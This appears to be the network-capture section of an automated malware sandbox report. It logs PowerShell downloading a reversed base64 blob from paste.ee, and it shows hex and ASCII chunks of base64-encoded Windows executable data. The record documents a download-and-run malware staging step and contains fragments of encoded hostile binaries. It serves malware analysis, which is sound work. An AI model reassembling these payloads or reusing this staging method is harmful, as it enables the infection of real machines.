2024-10-02 03:27:11 UTC	15778	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 42 6f 43 42 62 6f 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 69 45 4c 41 54 41 41 41 45 59 67 41 41 41 49 41 41 41 41 41 41 41 41 76 6d 55 67 41 41 41 67 41 41 41 41 67 43 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABoCBboAAAAAAAAAAOAADiELATAAAEYgAAAIAAAAAAAAvmUgAAAgAAAAgCAAAABAAAAgAAAAAgA
2024-10-02 03:27:11 UTC	16384	IN	Data Raw: 41 41 41 50 34 4d 45 77 42 46 41 67 41 41 41 41 55 41 41 41 41 31 41 41 41 41 4f 41 41 41 41 41 41 41 45 51 4d 52 46 78 45 49 63 35 73 46 41 41 5a 76 63 51 41 41 43 69 41 42 41 41 41 41 66 73 55 49 41 41 52 37 42 51 6b 41 42 44 6e 4a 2f 2f 2f 2f 4a 69 41 41 41 41 41 41 4f 4c 37 2f 2f 2f 38 41 41 4e 30 66 41 41 41 41 49 41 49 41 41 41 42 2b 78 51 67 41 42 48 73 53 43 51 41 45 4f 73 6e 36 2f 2f 38 6d 49 41 41 41 41 41 41 34 76 76 72 2f 2f 78 45 44 62 79 73 41 41 41 6f 57 50 6f 38 41 41 41 41 67 41 51 41 41 41 48 37 46 43 41 41 45 65 77 73 4a 41 41 51 36 6e 66 72 2f 2f 79 59 67 41 51 41 41 41 44 69 53 2b 76 2f 2f 45 67 63 6f 63 41 41 41 43 68 4d 49 49 41 55 41 41 41 42 2b 78 51 67 41 42 48 76 30 43 41 41 45 4f 6e 58 36 2f 2f 38 6d 49 41 59 41 41 41 41 34 61 Data Ascii: AAAP4MEwBFAgAAAAUAAAA1AAAAOAAAAAAAEQMRFxEIc5sFAAZvcQAACiABAAAAfsUIAAR7BQkABDnJ////JiAAAAAAOL7///8AAN0fAAAAIAIAAAB+xQgABHsSCQAEOsn6//8mIAAAAAA4vvr//xEDbysAAAoWPo8AAAAgAQAAAH7FCAAEewsJAAQ6nfr//yYgAQAAADiS+v//EgcocAAAChMIIAUAAAB+xQgABHv0CAAEOnX6//8mIAYAAAA4a
2024-10-02 03:27:11 UTC	16384	IN	Data Raw: 2f 2f 2f 77 41 52 42 47 39 49 49 77 41 47 62 33 51 41 41 41 6f 54 42 53 41 46 41 41 41 41 4f 44 48 2f 2f 2f 38 41 4f 4e 73 41 41 41 41 67 43 41 41 41 41 44 67 45 41 41 41 41 2f 67 77 4d 41 45 55 67 41 41 41 41 4f 51 49 41 41 47 34 43 41 41 42 61 41 51 41 41 66 51 41 41 41 4d 73 43 41 41 43 4d 41 51 41 41 46 41 45 41 41 4a 77 44 41 41 43 55 41 41 41 41 41 51 4d 41 41 4c 77 41 41 41 41 57 41 41 41 41 33 41 49 41 41 4d 63 42 41 41 43 6a 41 51 41 41 53 67 49 41 41 41 55 41 41 41 43 62 41 67 41 41 58 67 41 41 41 49 45 42 41 41 41 38 41 51 41 41 61 77 45 41 41 42 30 44 41 41 44 38 41 41 41 41 66 77 49 41 41 4f 30 42 41 41 44 68 41 41 41 41 53 77 45 41 41 44 51 41 41 41 42 46 41 41 41 41 49 51 41 41 41 42 4d 43 41 41 41 34 4e 41 49 41 41 42 45 49 4f 6a 30 44 41 Data Ascii: ///wARBG9IIwAGb3QAAAoTBSAFAAAAODH///8AONsAAAAgCAAAADgEAAAA/gwMAEUgAAAAOQIAAG4CAABaAQAAfQAAAMsCAACMAQAAFAEAAJwDAACUAAAAAQMAALwAAAAWAAAA3AIAAMcBAACjAQAASgIAAAUAAACbAgAAXgAAAIEBAAA8AQAAawEAAB0DAAD8AAAAfwIAAO0BAADhAAAASwEAADQAAABFAAAAIQAAABMCAAA4NAIAABEIOj0DA
2024-10-02 03:27:11 UTC	16384	IN	Data Raw: 38 52 43 53 68 31 41 67 41 47 62 7a 49 6a 41 41 59 52 43 57 2f 47 49 67 41 47 4b 48 59 43 41 41 5a 76 4d 69 4d 41 42 69 68 30 41 67 41 47 45 77 38 67 43 51 41 41 41 48 37 46 43 41 41 45 65 38 49 49 41 41 51 36 7a 50 37 2f 2f 79 59 67 44 51 41 41 41 44 6a 42 2f 76 2f 2f 45 51 49 54 41 79 41 49 41 41 41 41 2f 67 34 4b 41 44 69 72 2f 76 2f 2f 4f 42 73 42 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 37 4d 49 41 41 51 36 6c 76 37 2f 2f 79 59 67 41 41 41 41 41 44 69 4c 2f 76 2f 2f 45 51 45 67 70 30 47 63 33 79 41 44 41 41 41 41 59 79 42 63 44 35 4f 49 59 58 37 46 43 41 41 45 65 38 51 49 41 41 52 68 4b 46 51 43 41 41 59 6f 59 77 49 41 42 68 4d 43 49 42 34 41 41 41 41 34 56 2f 37 2f 2f 78 45 48 4f 6c 6f 42 41 41 41 67 43 67 41 41 41 48 37 46 43 41 41 45 65 Data Ascii: 8RCSh1AgAGbzIjAAYRCW/GIgAGKHYCAAZvMiMABih0AgAGEw8gCQAAAH7FCAAEe8IIAAQ6zP7//yYgDQAAADjB/v//EQITAyAIAAAA/g4KADir/v//OBsBAAAgAAAAAH7FCAAEe7MIAAQ6lv7//yYgAAAAADiL/v//EQEgp0Gc3yADAAAAYyBcD5OIYX7FCAAEe8QIAARhKFQCAAYoYwIABhMCIB4AAAA4V/7//xEHOloBAAAgCgAAAH7FCAAEe
2024-10-02 03:27:11 UTC	16384	IN	Data Raw: 41 41 4f 4d 37 38 2f 2f 38 52 41 54 6b 71 2f 66 2f 2f 49 41 63 41 41 41 42 2b 78 51 67 41 42 48 76 6b 43 41 41 45 4f 72 50 38 2f 2f 38 6d 49 41 49 41 41 41 41 34 71 50 7a 2f 2f 77 41 41 41 52 41 41 41 41 49 41 71 77 44 35 70 41 46 33 41 41 41 41 41 43 5a 2b 6f 51 41 41 42 42 54 2b 41 53 6f 41 41 42 70 2b 6f 51 41 41 42 43 6f 41 4b 76 34 4a 41 41 42 76 5a 51 41 41 43 69 6f 41 4b 76 34 4a 41 41 42 76 54 51 41 41 43 69 6f 41 4c 67 44 2b 43 51 41 41 4b 50 77 6c 41 41 59 71 4c 67 44 2b 43 51 41 41 4b 4c 45 45 41 41 59 71 4b 76 34 4a 41 41 42 76 2b 51 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 2b 41 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 45 43 4d 41 42 69 6f 41 4c 67 44 2b 43 51 41 41 4b 43 55 42 41 41 6f 71 48 67 41 6f 73 41 51 41 42 69 70 4b 2f 67 6b 41 41 Data Ascii: AAOM78//8RATkq/f//IAcAAAB+xQgABHvkCAAEOrP8//8mIAIAAAA4qPz//wAAARAAAAIAqwD5pAF3AAAAACZ+oQAABBT+ASoAABp+oQAABCoAKv4JAABvZQAACioAKv4JAABvTQAACioALgD+CQAAKPwlAAYqLgD+CQAAKLEEAAYqKv4JAABv+QIABioAKv4JAABv+AIABioAKv4JAABvECMABioALgD+CQAAKCUBAAoqHgAosAQABipK/gkAA
2024-10-02 03:27:11 UTC	16384	IN	Data Raw: 6f 49 41 41 51 36 59 50 2f 2f 2f 79 59 67 43 41 41 41 41 44 68 56 2f 2f 2f 2f 4f 47 30 41 41 41 41 67 42 77 41 41 41 48 37 46 43 41 41 45 65 37 67 49 41 41 51 36 50 50 2f 2f 2f 79 59 67 42 41 41 41 41 44 67 78 2f 2f 2f 2f 41 41 49 6f 43 77 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 75 67 67 41 42 44 6b 57 2f 2f 2f 2f 4a 69 41 42 41 41 41 41 4f 41 76 2f 2f 2f 38 41 49 49 66 62 73 78 73 67 6d 4f 66 75 4f 6c 67 67 64 4f 74 35 55 57 46 2b 78 51 67 41 42 48 73 43 43 51 41 45 59 53 67 37 41 77 41 47 4b 44 77 44 41 41 5a 36 42 47 39 67 41 41 41 4b 46 79 68 76 41 77 41 47 45 77 49 67 42 67 41 41 41 48 37 46 43 41 41 45 65 37 30 49 41 41 51 36 77 66 37 2f 2f 79 59 67 43 51 41 41 41 44 69 32 2f 76 2f 2f 41 41 51 55 2f 67 45 54 41 53 41 44 41 41 41 41 4f Data Ascii: oIAAQ6YP///yYgCAAAADhV////OG0AAAAgBwAAAH7FCAAEe7gIAAQ6PP///yYgBAAAADgx////AAIoCwMABiACAAAAfsUIAAR7uggABDkW////JiABAAAAOAv///8AIIfbsxsgmOfuOlggdOt5UWF+xQgABHsCCQAEYSg7AwAGKDwDAAZ6BG9gAAAKFyhvAwAGEwIgBgAAAH7FCAAEe70IAAQ6wf7//yYgCQAAADi2/v//AAQU/gETASADAAAAO
2024-10-02 03:27:11 UTC	16384	IN	Data Raw: 41 41 4f 4b 37 2f 2f 2f 38 52 41 44 70 2f 41 41 41 41 49 41 51 41 41 41 41 34 6e 66 2f 2f 2f 78 45 43 4f 71 49 41 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 38 4d 49 41 41 51 36 67 76 2f 2f 2f 79 59 67 41 41 41 41 41 44 68 33 2f 2f 2f 2f 41 41 49 6f 70 41 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 76 67 67 41 42 44 70 63 2f 2f 2f 2f 4a 69 41 44 41 41 41 41 4f 46 48 2f 2f 2f 38 41 4b 67 41 44 46 43 69 79 41 77 41 47 45 77 41 67 42 51 41 41 41 44 67 37 2f 2f 2f 2f 4f 44 41 41 41 41 41 67 43 41 41 41 41 50 34 4f 41 51 41 34 4a 50 2f 2f 2f 77 41 67 4a 47 76 43 36 53 41 58 47 50 4f 77 59 58 37 46 43 41 41 45 65 38 41 49 41 41 52 68 4b 4b 30 44 41 41 59 6f 73 51 51 41 42 6e 6f 43 65 37 4d 41 41 41 51 54 41 69 41 48 41 41 41 41 4f 50 54 2b 2f Data Ascii: AAOK7///8RADp/AAAAIAQAAAA4nf///xECOqIAAAAgAAAAAH7FCAAEe8MIAAQ6gv///yYgAAAAADh3////AAIopAMABiACAAAAfsUIAAR7vggABDpc////JiADAAAAOFH///8AKgADFCiyAwAGEwAgBQAAADg7////ODAAAAAgCAAAAP4OAQA4JP///wAgJGvC6SAXGPOwYX7FCAAEe8AIAARhKK0DAAYosQQABnoCe7MAAAQTAiAHAAAAOPT+/
2024-10-02 03:27:11 UTC	16384	IN	Data Raw: 4d 41 41 41 45 6f 38 67 4d 41 42 69 6a 7a 41 77 41 47 45 78 51 67 42 51 41 41 41 48 37 46 43 41 41 45 65 78 49 4a 41 41 51 36 42 65 66 2f 2f 79 59 67 41 51 41 41 41 44 6a 36 35 76 2f 2f 41 41 4b 6c 6c 51 41 41 41 58 4f 4d 41 51 41 4b 6a 4a 63 41 41 41 45 54 41 79 41 67 41 41 41 41 4f 4e 33 6d 2f 2f 38 41 45 51 48 51 43 67 41 41 41 53 6a 79 41 77 41 47 4b 50 4d 44 41 41 59 54 48 79 41 4b 41 41 41 41 4f 4c 2f 6d 2f 2f 38 34 73 4f 2f 2f 2f 79 41 4c 41 41 41 41 66 73 55 49 41 41 52 37 33 77 67 41 42 44 71 6d 35 76 2f 2f 4a 69 42 4a 41 41 41 41 4f 4a 76 6d 2f 2f 38 34 32 50 72 2f 2f 79 42 32 41 41 41 41 4f 49 7a 6d 2f 2f 38 41 41 6d 38 6c 41 41 41 4b 4b 4b 49 41 41 41 6f 6f 41 41 51 41 42 6f 79 57 41 41 41 42 45 77 4d 67 44 77 41 41 41 50 34 4f 4c 67 41 34 59 Data Ascii: MAAAEo8gMABijzAwAGExQgBQAAAH7FCAAEexIJAAQ6Bef//yYgAQAAADj65v//AAKllQAAAXOMAQAKjJcAAAETAyAgAAAAON3m//8AEQHQCgAAASjyAwAGKPMDAAYTHyAKAAAAOL/m//84sO///yALAAAAfsUIAAR73wgABDqm5v//JiBJAAAAOJvm//842Pr//yB2AAAAOIzm//8AAm8lAAAKKKIAAAooAAQABoyWAAABEwMgDwAAAP4OLgA4Y
2024-10-02 03:27:11 UTC	16384	IN	Data Raw: 45 41 41 41 42 2b 78 51 67 41 42 48 76 71 43 41 41 45 4f 53 37 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 49 2f 2f 2f 2f 77 41 54 4d 41 51 41 52 67 41 41 41 4d 73 41 41 42 45 41 41 67 4d 45 4b 50 30 42 41 41 6f 41 41 6e 76 38 41 51 41 4b 4f 68 67 41 41 41 41 44 46 6a 38 52 41 41 41 41 41 77 49 6f 2f 67 45 41 43 76 34 43 46 76 34 42 4f 41 45 41 41 41 41 57 43 67 59 35 45 41 41 41 41 41 41 43 65 2f 51 42 41 41 6f 44 42 47 2f 65 41 51 41 4b 41 41 41 71 41 41 41 54 4d 41 51 41 6c 51 45 41 41 41 51 41 41 42 45 67 41 77 41 41 41 50 34 4f 41 41 41 34 41 41 41 41 41 50 34 4d 41 41 42 46 43 77 41 41 41 4b 77 41 41 41 43 48 41 41 41 41 30 77 41 41 41 4f 49 41 41 41 42 55 41 41 41 41 4b 51 41 41 41 41 55 41 41 41 42 45 41 41 41 41 47 67 45 41 41 50 51 41 41 41 43 71 41 Data Ascii: EAAAB+xQgABHvqCAAEOS7///8mIAEAAAA4I////wATMAQARgAAAMsAABEAAgMEKP0BAAoAAnv8AQAKOhgAAAADFj8RAAAAAwIo/gEACv4CFv4BOAEAAAAWCgY5EAAAAAACe/QBAAoDBG/eAQAKAAAqAAATMAQAlQEAAAQAABEgAwAAAP4OAAA4AAAAAP4MAABFCwAAAKwAAACHAAAA0wAAAOIAAABUAAAAKQAAAAUAAABEAAAAGgEAAPQAAACqA
2024-10-02 03:27:11 UTC	16384	IN	Data Raw: 41 44 41 6e 74 45 41 67 41 4b 2f 67 51 4c 42 7a 6b 67 41 41 41 41 41 41 4a 37 52 51 49 41 43 67 4d 43 65 30 55 43 41 41 6f 44 46 31 67 43 65 30 51 43 41 41 6f 44 57 53 6a 51 41 51 41 4b 41 41 41 43 65 30 55 43 41 41 6f 44 42 4b 51 31 41 41 41 62 41 67 4a 37 52 41 49 41 43 68 64 59 66 55 51 43 41 41 6f 71 41 41 41 54 4d 41 4d 41 54 77 41 41 41 41 4d 42 41 42 45 41 41 6e 74 45 41 67 41 4b 43 6a 67 75 41 41 41 41 41 41 59 58 57 51 6f 43 65 30 55 43 41 41 6f 47 6f 7a 55 41 41 42 75 4d 4e 51 41 41 47 77 4f 4d 4e 51 41 41 47 2f 34 42 43 77 63 35 43 41 41 41 41 41 41 47 44 44 67 54 41 41 41 41 41 41 59 57 2f 67 49 4e 43 54 72 48 2f 2f 2f 2f 46 51 77 34 41 41 41 41 41 41 67 71 41 42 4d 77 41 77 41 74 41 41 41 41 62 41 41 41 45 51 41 43 41 79 6a 47 41 51 41 4b 43 Data Ascii: ADAntEAgAK/gQLBzkgAAAAAAJ7RQIACgMCe0UCAAoDF1gCe0QCAAoDWSjQAQAKAAACe0UCAAoDBKQ1AAAbAgJ7RAIAChdYfUQCAAoqAAATMAMATwAAAAMBABEAAntEAgAKCjguAAAAAAYXWQoCe0UCAAoGozUAABuMNQAAGwOMNQAAG/4BCwc5CAAAAAAGDDgTAAAAAAYW/gINCTrH////FQw4AAAAAAgqABMwAwAtAAAAbAAAEQACAyjGAQAKC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	188.114.97.3	443	2360	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:27:13 UTC	67	OUT	GET /d/AaTNM/0 HTTP/1.1 Host: paste.ee Connection: Keep-Alive
2024-10-02 03:27:14 UTC	1204	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:27:14 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3olfH0IAUfWnquLDoKaGUg5tUTyMwNwVZkQMoIG%2FZ8Mj9QE5SN3WJ%2FiufMnxjV8CzKnRJjonhwZfhO24NAJ8K%2Fv9cXfXfLJudvCHgll4wHnQcJr738ZE9vUZgw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc19870dc14186d-EWR
2024-10-02 03:27:14 UTC	165	IN	Data Raw: 66 37 66 0d 0a 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: f7f==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-02 03:27:14 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-02 03:27:14 UTC	1369	IN	Data Raw: 42 46 49 73 49 6a 56 79 39 47 64 70 35 32 62 4e 4a 58 5a 51 35 6a 49 7a 64 6d 62 70 52 48 64 6c 4e 31 63 33 39 47 5a 75 6c 32 56 76 59 54 4d 77 49 7a 4c 4a 31 30 55 76 30 32 62 6a 35 43 64 6d 39 32 63 76 4a 33 59 70 31 6d 4c 7a 46 57 62 6c 68 32 59 7a 39 79 4c 36 41 48 64 30 68 6d 49 39 4d 6e 62 73 31 47 65 67 4d 33 63 6c 35 57 5a 79 46 32 64 42 6c 47 63 6b 78 54 43 4a 6f 51 44 2b 55 6d 63 68 64 58 51 70 42 48 5a 76 77 54 5a 31 4a 48 64 2b 49 79 63 6e 35 57 61 30 52 58 5a 54 4e 33 64 76 52 6d 62 70 64 31 4c 31 41 44 4d 79 38 53 53 4e 4e 31 4c 74 39 32 59 75 51 6e 5a 76 4e 33 62 79 4e 57 61 74 35 79 63 68 31 57 5a 6f 4e 32 63 76 38 69 4f 77 52 48 64 6f 4a 53 50 7a 35 47 62 74 68 48 49 6c 4a 58 59 33 46 55 61 77 52 47 50 67 41 43 49 67 41 43 49 4b 30 67 50 Data Ascii: BFIsIjVy9Gdp52bNJXZQ5jIzdmbpRHdlN1c39GZul2VvYTMwIzLJ10Uv02bj5Cdm92cvJ3Yp1mLzFWblh2Yz9yL6AHd0hmI9Mnbs1GegM3cl5WZyF2dBlGckxTCJoQD+UmchdXQpBHZvwTZ1JHd+Iycn5Wa0RXZTN3dvRmbpd1L1ADMy8SSNN1Lt92YuQnZvN3byNWat5ych1WZoN2cv8iOwRHdoJSPz5GbthHIlJXY3FUawRGPgACIgACIK0gP
2024-10-02 03:27:14 UTC	1071	IN	Data Raw: 43 49 67 41 43 49 4b 30 67 50 74 30 43 49 34 41 79 63 33 39 47 5a 75 6c 32 56 67 30 53 4c 68 77 44 49 67 41 43 49 67 41 69 43 4e 6f 51 44 2b 30 53 4c 2b 38 43 49 69 30 58 59 7a 6b 6a 5a 31 49 6a 4d 77 51 44 4e 79 45 57 4c 6b 4a 54 5a 34 30 43 5a 69 5a 47 4e 74 59 54 4f 6b 56 54 4c 68 6c 6a 59 34 4d 54 4d 31 4d 7a 65 69 30 44 5a 4a 42 79 55 50 52 57 5a 30 4a 33 62 77 42 58 64 7a 78 54 4c 74 45 43 50 67 41 43 49 67 41 43 49 4b 30 67 50 74 30 43 49 33 41 79 63 33 39 47 5a 75 6c 32 56 67 30 53 4c 68 77 44 49 67 41 43 49 67 41 69 43 4e 6f 51 44 2b 30 53 4c 2b 38 43 49 69 30 48 4d 6d 4e 44 5a 7a 55 57 5a 6c 52 47 4f 77 41 54 4c 6c 5a 57 4e 68 31 53 4e 6a 4e 44 4e 74 59 44 4e 31 45 54 4c 33 55 44 4e 78 45 44 4d 79 55 32 65 69 30 44 5a 4a 42 79 55 50 52 57 5a 30 Data Ascii: CIgACIK0gPt0CI4Ayc39GZul2Vg0SLhwDIgACIgAiCNoQD+0SL+8CIi0XYzkjZ1IjMwQDNyEWLkJTZ40CZiZGNtYTOkVTLhljY4MTM1Mzei0DZJByUPRWZ0J3bwBXdzxTLtECPgACIgACIK0gPt0CI3Ayc39GZul2Vg0SLhwDIgACIgAiCNoQD+0SL+8CIi0HMmNDZzUWZlRGOwATLlZWNh1SNjNDNtYDN1ETL3UDNxEDMyU2ei0DZJByUPRWZ0
2024-10-02 03:27:14 UTC	1369	IN	Data Raw: 34 30 30 30 0d 0a 44 2b 49 69 4d 32 35 53 62 7a 46 6d 4f 74 39 32 59 74 51 6e 5a 76 4e 33 62 79 4e 57 61 74 31 79 63 68 31 57 5a 6f 4e 32 63 36 34 6d 63 31 4a 53 50 7a 35 47 62 74 68 48 49 76 5a 6d 62 4a 52 33 63 31 4a 48 64 38 41 43 49 4b 30 67 50 76 49 43 63 77 46 6d 4c 75 39 57 61 30 46 32 59 70 78 47 63 77 46 55 65 4e 4a 53 50 6c 31 57 59 75 42 69 49 77 34 79 4e 75 41 6a 4c 78 49 53 50 75 39 57 61 7a 4a 58 5a 32 42 53 65 30 6c 47 64 75 56 47 5a 4a 6c 48 62 69 31 57 5a 7a 4e 58 59 38 41 43 49 4b 30 67 50 69 45 6a 64 75 30 32 63 68 70 54 62 76 4e 57 4c 30 5a 32 62 7a 39 6d 63 6a 6c 57 62 74 4d 58 59 74 56 47 61 6a 4e 6e 4f 75 4a 58 64 69 30 7a 63 75 78 57 62 34 42 69 49 77 34 53 4d 69 30 6a 62 76 6c 32 63 79 56 6d 56 30 4e 58 5a 6d 6c 6d 62 68 31 47 49 Data Ascii: 4000D+IiM25SbzFmOt92YtQnZvN3byNWat1ych1WZoN2c64mc1JSPz5GbthHIvZmbJR3c1JHd8ACIK0gPvICcwFmLu9Wa0F2YpxGcwFUeNJSPl1WYuBiIw4yNuAjLxISPu9WazJXZ2BSe0lGduVGZJlHbi1WZzNXY8ACIK0gPiEjdu02chpTbvNWL0Z2bz9mcjlWbtMXYtVGajNnOuJXdi0zcuxWb4BiIw4SMi0jbvl2cyVmV0NXZmlmbh1GI
2024-10-02 03:27:14 UTC	1369	IN	Data Raw: 47 41 41 41 51 41 41 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 41 41 41 41 41 41 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 41 41 67 44 41 41 41 51 41 41 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 41 41 41 46 41 41 41 41 47 41 43 41 41 67 41 41 41 41 41 42 41 43 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: GAAAQAAEAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAEAAAAAAAAAAAAAAAAAAAAIAAgDAAAQAAEAAAAAAAAAAAAAAAAAAAAIAAAFAAAAGACAAgAAAAABACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-02 03:27:14 UTC	1369	IN	Data Raw: 42 64 55 6d 45 46 30 68 44 48 63 41 44 4f 77 68 41 48 51 41 47 56 4a 52 48 49 67 77 41 67 67 41 48 49 45 41 41 45 45 77 45 41 4d 68 41 54 49 41 49 49 77 42 45 4e 46 42 45 56 4a 52 44 43 4b 52 41 45 41 53 44 4e 46 52 65 42 4b 52 41 41 63 41 50 53 30 55 45 63 55 6c 45 59 55 6c 45 64 67 6a 45 5a 4a 42 43 48 45 68 41 38 49 52 56 53 4d 51 55 53 55 52 43 41 4a 52 41 48 51 41 41 54 30 42 41 67 55 67 44 42 6b 68 45 56 55 51 42 43 4b 42 41 67 55 51 39 42 4b 42 41 67 55 51 38 42 4b 42 41 67 55 51 41 43 4b 52 41 42 41 69 42 31 48 6f 45 49 49 77 42 47 30 65 67 52 34 67 41 43 41 79 42 35 46 6f 45 49 45 41 41 47 34 51 43 73 45 42 47 45 63 77 42 70 48 6f 45 42 45 41 49 47 45 65 67 52 34 51 41 43 41 79 42 63 34 51 41 43 41 53 42 4f 34 67 44 4f 4d 41 41 47 55 64 67 52 34 Data Ascii: BdUmEF0hDHcADOwhAHQAGVJRHIgwAggAHIEAAEEwEAMhATIAIIwBENFBEVJRDCKRAEASDNFReBKRAAcAPS0UEcUlEYUlEdgjEZJBCHEhA8IRVSMQUSURCAJRAHQAAT0BAgUgDBkhEVUQBCKBAgUQ9BKBAgUQ8BKBAgUQACKRABAiB1HoEIIwBG0egR4gACAyB5FoEIEAAG4QCsEBGEcwBpHoEBEAIGEegR4QACAyBc4QACASBO4gDOMAAGUdgR4
